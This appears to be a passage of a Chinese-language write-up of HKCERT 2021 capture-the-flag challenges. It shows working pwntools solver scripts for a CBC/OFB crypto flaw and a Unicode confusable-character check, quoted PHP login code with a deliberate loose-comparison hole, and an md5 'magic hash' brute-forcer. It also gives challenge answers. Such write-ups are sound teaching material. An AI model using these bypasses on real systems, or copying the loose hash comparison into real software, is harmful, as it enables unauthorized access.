$c^{(CBC)}_1 = Enc(m_1 \oplus c^{(CBC)}_0) = Enc(0 \oplus IV) = Enc^1(IV)$ $c^{(CBC)}_2 = Enc(m_2 \oplus c^{(CBC)}_1) = Enc(0 \oplus Enc(IV)) = Enc^2(IV)$ $c^{(CBC)}_3 = Enc(m_3 \oplus c^{(CBC)}_2) = Enc(0 \oplus Enc^2(IV)) = Enc^3(IV)$ $c^{(CBC)}_4 = Enc(m_4 \oplus c^{(CBC)}_3) = Enc(0 \oplus Enc^3(IV)) = Enc^4(IV)$ $c^{(CBC)}_5 = Enc(m_5 \oplus c^{(CBC)}_4) = Enc(0 \oplus Enc^4(IV)) = Enc^5(IV)$

4.拆解 ofb 的加密流程

$c^{(OFB)}_1 = Enc^1(IV) \oplus m_1$

$c^{(OFB)}_2 = Enc^2(IV) \oplus m_2$

$c^{(OFB)}_3 = Enc^3(IV) \oplus m_3$

$c^{(OFB)}_4 = Enc^4(IV) \oplus m_4$

$c^{(OFB)}_5 = Enc^5(IV) \oplus m_5$

5. 對比上述兩個模式

$c^{(CBC)}_k \oplus c^{(OFB)}_k = Enc^k(IV) \oplus Enc^k(IV) \oplus m_k = m_k$

換句話說,只要把 CBC 用 0 做出的密文和 OFB 用 flag 出做的密文做 XOR,便能出 flag

6. 寫出 payload

import libnum
from pwn import *

p = remote("chalp.hkcert21.pwnable.hk",28102)
p.recvuntil(">")

p.sendline("cbc data "+'0'*160)
a = p.recvline()

p.recvuntil(">")

p.sendline("ofb flag")
b = p.recvline()

a = a.strip()
b = b.strip()

a = a.decode('utf-8')
b = b.decode('utf-8')

ans = int(a,16) ^ int(b,16)
flag = libnum.n2s(ans)
print(flag)

得 flag hkcert21{w3_sh0u1d_n0t_g1v3_much_fr3ed0m_t0_us3r5_wh3n_1t_c0m3s_t0_cryp70gr4phy}

點點心 (150 points)

You got the source code already, now what do you want? Dockerfile?

steamed-meatball_b3d88e1623bd492534d65b4835bfd191 py

nc chalp.hkcert21.pwnable.hk 28338

Attachments: steamed-meatball_b3d88e1623bd492534d65b4835bfd191.py.png

解法

說實話,這題如果不看 write up 真的做不出來,解不開大多都以為這是編碼問題,一直研究 unicode, UTF-8, Big5 等編碼研究大半天。

其實只是 混 淆 字 而已

從頭到尾,都只是 UTF-8,編碼沒變,就只是我們看的字,跟我們所認識的字是”不同的兩個字”,只是外形”幾乎一樣”,用比喻來說,就是雙胞胎姊妹就看上去一模一樣,但一旦做指紋辨識就能發現不同。

直接看例子吧:

這是我打的 : 山竹牛肉

這是冒牌的 : ⼭⽵⽜⾁

上面 4 個字都長不一樣哦!! 是不是用看的完全分不出來?

不信的話自己複製去驗證看看

2021-11-23_15-20

1. 到 Confusables - Unicode Utilities 網站

Confusables - Unicode Utilities

2. 找找 ‘山竹牛肉’ 有哪些混淆字

2021-11-23_14-59_1

每個字都有一個雙胞胎兄弟混淆字,所以一共有 16 個組合

3. 逐個測試

2021-11-23_14-59

因為不多,試到第 13 個,也就是 ⼭竹牛⾁ (是冒牌的)就通過了

2021-11-23_15-44

也可以寫成 payload

from pwn import *

p = remote("chalp.hkcert21.pwnable.hk",28338)

normal = '山竹牛肉'
confusables = '⼭竹牛⾁'

print(normal.encode())
print(confusables.encode())

p.recvuntil("暗號? ____")
p.send(confusables)

p.interactive()

因講了出來 (150 points)

因講了出來

便會失去吸引力

失去機會被愛

因講了出來

便會失去所有

想象中的可愛

If you can solve Rickroll in 2020, you will be able to solve it. Probably.

本題所使用的 PHP 版本為 8.0.12。 The PHP version used for the challenge is 8.0.12.

http://chalf.hkcert21.pwnable.hk:28156/

解法

題目很簡潔,只有填寫帳號和密碼的窗口

2021-11-23_22-54

查看提示,有 php 的原始碼提供:

 <?php
session_start();

if(isset($_SESSION["loggedin"]) && $_SESSION["loggedin"] === true){
    header("location: welcome.php");
    exit;
}

$username = $password = "";
$username_err = $password_err = $login_err = "";

if($_SERVER["REQUEST_METHOD"] == "POST"){

    if ((strlen($_POST["username"]) > 24) or strlen($_POST["password"]) > 24) {
        header("location: https://www.youtube.com/watch?v=2ocykBzWDiM");
        exit();
    }

    if(empty(trim($_POST["username"]))){
        $username_err = "Please enter username.";
    } else{
        $username = trim($_POST["username"]);
        if(empty(trim($_POST["password"]))){
            $password_err = "Please enter your password.";
        } else{
            $password = trim($_POST["password"]);
            if (!ctype_alnum(trim($_POST["password"])) or !ctype_alnum(trim($_POST["username"]))) {
                switch ( rand(0,2) ) {
                    case 0:
                    header("location: https://www.youtube.com/watch?v=l7pP3ydt3tU");
                    break;
                    case 1:
                    header("location: https://www.youtube.com/watch?v=G094II5gIsI");
                    break;
                    case 2:
                    header("location: https://www.youtube.com/watch?v=0YQtsez-_D4");
                    break;
                    default:
                    header("location: https://www.youtube.com/watch?v=2ocykBzWDiM");
                    exit();
                }   
            }
        }
    }    

    if ($username === 'hkcert') {
        if( hash('md5', $password) == 0 &&
            substr($password,0,strlen('hkcert')) === 'hkcert') {
            if (!exec('grep '.escapeshellarg($password).' ./used_pw.txt')) {

                $_SESSION["loggedin"] = true;
                $_SESSION["username"] = $username;

                $myfile = fopen("./used_pw.txt", "a") or die("Unable to open file!");
                fwrite($myfile, $password."\n");
                fclose($myfile);
                header("location: welcome.php");

            } else {
                $login_err = "Password has been used.";
            }

        } else {
            $login_err = "Invalid username or password.";
        }
    } else {
        $login_err = "Invalid username or password.";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Login</title>
    <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
    <style>
    body{ font: 14px sans-serif; }
    .wrapper{ width: 360px; padding: 20px; }
</style>
</head>
<body>
    <div class="wrapper">
        <h2>Login</h2>
        <p>Please fill in your credentials to login.</p>

        <?php 
        if(!empty($login_err)){
            echo '<div class="alert alert-danger">' . $login_err . '</div>';
        }        
        ?>

        <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post">
            <div class="form-group">
                <label>Username</label>
                <input type="text" name="username" class="form-control <?php echo (!empty($username_err)) ? 'is-invalid' : ''; ?>" value="<?php echo $username; ?>">
                <span class="invalid-feedback"><?php echo $username_err; ?></span>
            </div>    
            <div class="form-group">
                <label>Password</label>
                <input type="password" name="password" class="form-control <?php echo (!empty($password_err)) ? 'is-invalid' : ''; ?>">
                <span class="invalid-feedback"><?php echo $password_err; ?></span>
            </div>
            <div class="form-group">
                <input type="submit" class="btn btn-primary" value="Login">
            </div>
            <p>Want hints? <a href="source.php">Check Here</a>.</p>
        </form>
    </div>
</body>
</html>

重要只要這幾句:

if ($username === 'hkcert') {
    if( hash('md5', $password) == 0 &&
        substr($password,0,strlen('hkcert')) === 'hkcert') {

也就是說帳號名稱是 hkcert,而密碼 是 hkcert 這 6 個字開頭,但做了 md5 的 hash 後,是 0e 開頭所組成的字串。

Q. 為什麼是 0e 開頭呢?

A. 因為這是 PHP 的一個字串處理漏洞特性,也就是說 PHP 會處理時當成科學記數法,由於 0 的任何次方數最終都為 0,所以在判斷式裡用 0e 開頭的字串都等於 0

payload

github 上找到別人的 code,發現挺不錯,然後我改成 python3

#!/usr/bin/env python
import hashlib
import re

prefix = 'hkcert_ank'

def breakit():
    iters = 0
    while 1:
        s = prefix + str(iters)
        s = s.encode('utf-8')
        hashed_s = hashlib.md5(s).hexdigest()
        iters = iters + 1
        r = re.match('^0e[0-9]{30}', hashed_s)
        if r:
            print("[+] found! md5( {} ) ---> {}".format(s, hashed_s))
            print("[+] in {} iterations".format(iters))
            exit(0)

        if iters % 1000000 == 0:
            print("[+] current value: {}       {} iterations, continue...".format(s, iters))

breakit()

2021-11-23_23-20

2021-11-23_22-44